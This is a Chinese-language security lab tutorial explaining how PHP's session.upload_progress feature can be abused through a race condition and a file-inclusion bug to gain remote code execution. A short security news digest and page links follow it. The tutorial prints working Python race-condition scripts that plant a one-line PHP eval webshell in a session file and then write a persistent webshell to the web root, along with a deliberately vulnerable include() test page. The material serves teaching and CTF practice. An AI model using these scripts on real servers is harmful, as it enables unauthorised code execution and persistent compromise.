什么是session.upload_progress? 与open_basedir、allow_url_fopen、allow_url_include等PHP配置一样,session.upload_progress也是PHP的一个功能,同样可以在php.ini中设置相关属性。其中最重要的几个设置如下: session.upload_progress.enabled = on session.upload_progress.cleanup = on session.upload_progress.prefix = "upload_progress_" session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" session.upload_progress.enabled可以控制是否开启session.upload_progress功能 session.upload_progress.cleanup可以控制是否在上传之后删除文件内容 session.upload_progress.prefix可以设置上传文件内容的前缀 session.upload_progress.name的值即为session中的键值 session.upload_progress开启之后会有什么效果? 当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。 问题1: 那么这个时候就会有一个前提条件,就是如何初始化session并且把session中的内容写到文件中去呢? 分析1: 我们可以注意到,php.ini中session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去,具体文件的内容是什么,后面会写到。 问题2: 当session.upload_progress.cleanup的值为on时,即使上传文件,但是上传完成之后文件内容会被清空,这怎么办? 分析2: 利用Python的多线程,进行条件竞争。 如何利用session.upload_progress进行RCE? 然而,理论再多也没用,还是得一步步调试,看看在文件上传的时候,整一个PHP服务端到底发生了什么。所以还是需要做实验。 首先,在网站根目录下随便新建一个test.php文件 然后写一个Python程序用于往服务器上上传文件: 这里有几个注意点: 上传的文件大小为50KB,文件名为Lxxx.jpg 该程序设置的sessionid为Lxxx,也就是说会在/tmp目录下生成sess_Lxxx文件 该程序设置的PHP_SESSION_UPLOAD_PROGRESS值为一句话木马,也就是说,在理论上,一句话木马会被写入到/tmp/sess_Lxxx中 import requests import io url = "http://192.168.2.128/test.php" sessid = "Lxxx" def write(session):    filebytes = io.BytesIO(b'a' * 1024 * 50)    while True:        res = session.post(url,            data={                'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"               },            cookies={                'PHPSESSID': sessid               },            files={                'file': ('Lxxx.jpg', filebytes)               }           ) if __name__ == "__main__":    with requests.session() as session:        write(session) 执行程序后,我们需要用tail -f命令实时查看/tmp/sess_Lxxx文件,因为在本地测试速度比较快,如果使用cat命令,文件内容还没输出就被删除了。 tail -f /tmp/sess_Lxxx 结果如下: 也就是说,/tmp/sess_Lxxx文件中的内容为: upload_progress_<?php eval($_POST[1]);?>|a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:16 仔细分析一下该文件内容,该文件分为两块,以竖线|区分。 第一块内容如下: upload_progress_<?php eval($_POST[1]);?> 这一块内容由以下两个值组成:session.upload_progress.name+PHP_SESSION_UPLOAD_PROGRESS 第二块内容如下: a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}} 一看就是序列化之后的值,我们将其进行反序列化后输出: array(5) { ["start_time"]=>  int(1631343214) ["content_length"]=>  int(276) ["bytes_processed"]=>  int(276) ["done"]=>  bool(false) ["files"]=>  array(1) {   [0]=>    array(7) {     ["field_name"]=>      string(4) "file"     ["name"]=>      string(8) "Lxxx.jpg"     ["tmp_name"]=>      NULL     ["error"]=>      int(0)     ["done"]=>      bool(false)     ["start_time"]=>      int(1631343214)     ["bytes_processed"]=>      int(276)   } } } 可以看到这里记录了文件上传时间、文件大小、文件名称等等文件属性。 接下来在网站根目录新建一个test.php文件,文件内容如下: <?php $a = $_GET["a"]; include($a); 很明显有一个文件包含的漏洞。 接下来我们利用session.upload_progress进行条件竞争 以下代码有几个注意点: 首先,函数write和上面的是一样的,这里就不做过多的赘述了 整个代码的思路就是,往/tmp/sess_Lxxx文件中写入一句话木马,密码为1,然后用题目中的文件包含漏洞,包含这一个文件,在函数read中尝试利用/tmp/sess_Lxxx的一句话往网站根目录文件1.php写一句话木马,密码为2 利用Python的多线程,一边上传文件,一边尝试往根目录中写入1.php,如果成功写入了,就打印输出“成功写入一句话” 这里利用Python的threading模块,开5个线程进行条件竞争 代码如下: import requestsimport ioimport threadingurl = "http://192.168.2.128/test.php"sessid = "Lxxx"def write(session): filebytes = io.BytesIO(b'a' * 1024 * 50) while True: res = session.post(url, data={ 'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>" }, cookies={ 'PHPSESSID': sessid }, files={ 'f 代码执行结果如下: 一开始会一直显示Retry,但是只要运行一段时间就会成功写入一句话。 可以在网站根目录看到,成功写入一句话。 参考资料 Nu1L战队的书籍《从0到1 CTFer成长之路》 P140-141 https://www.freebuf.com/vuls/202819.html 点击链接进行实验:https://www.yijinglab.com/expc.do?ec=ECID39ee-9db2-47bc-9fa1-29150748681b
网络安全日报 2021年09月14日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、研究人员发现面向Linux的CS Beancon -Vermilion Strike https://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike/ 2、NPM 包:Pac-Resolver 修复高危远程代码执行漏洞 https://thehackernews.com/2021/09/critical-bug-reported-in-npm-package.html 3、Apple 为 NSO 利用的iMessage 零交互0day发布紧急修复程序 https://threatpost.com/apple-emergency-fix-nso-zero-click-zero-day/169416/ 4、WooCommerce 插件漏洞允许随意改价 https://threatpost.com/woocommerce-multi-currency-bug-pricing/169394/ 5、历经3年, OpenSSL 3.0 发布 https://www.securityweek.com/openssl-30-released-after-3-years-development 6、谷歌警告 Chrome 浏览器中的零日漏洞 https://www.securityweek.com/google-warns-exploited-zero-days-chrome-browser 7、研究人员发现诱骗用户连接恶意 AP 的新方法:SSID Stripping https://www.securityweek.com/ssid-stripping-new-method-tricking-users-connecting-rogue-aps 8、BlackMatter 勒索软件团伙攻击了奥林巴斯 https://securityaffairs.co/wordpress/122140/cyber-crime/blackmatter-ransomware-olympus.html 9、REvil勒索软件团伙再次出现并泄露数据 https://www.bleepingcomputer.com/news/security/revil-ransomware-is-back-in-full-attack-mode-and-leaking-data/ 10、新型银行木马"maxtrilha"针对欧洲和南美银行客户 https://securityaffairs.co/wordpress/122134/malware/maxtrilha-banking-trojan.html
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页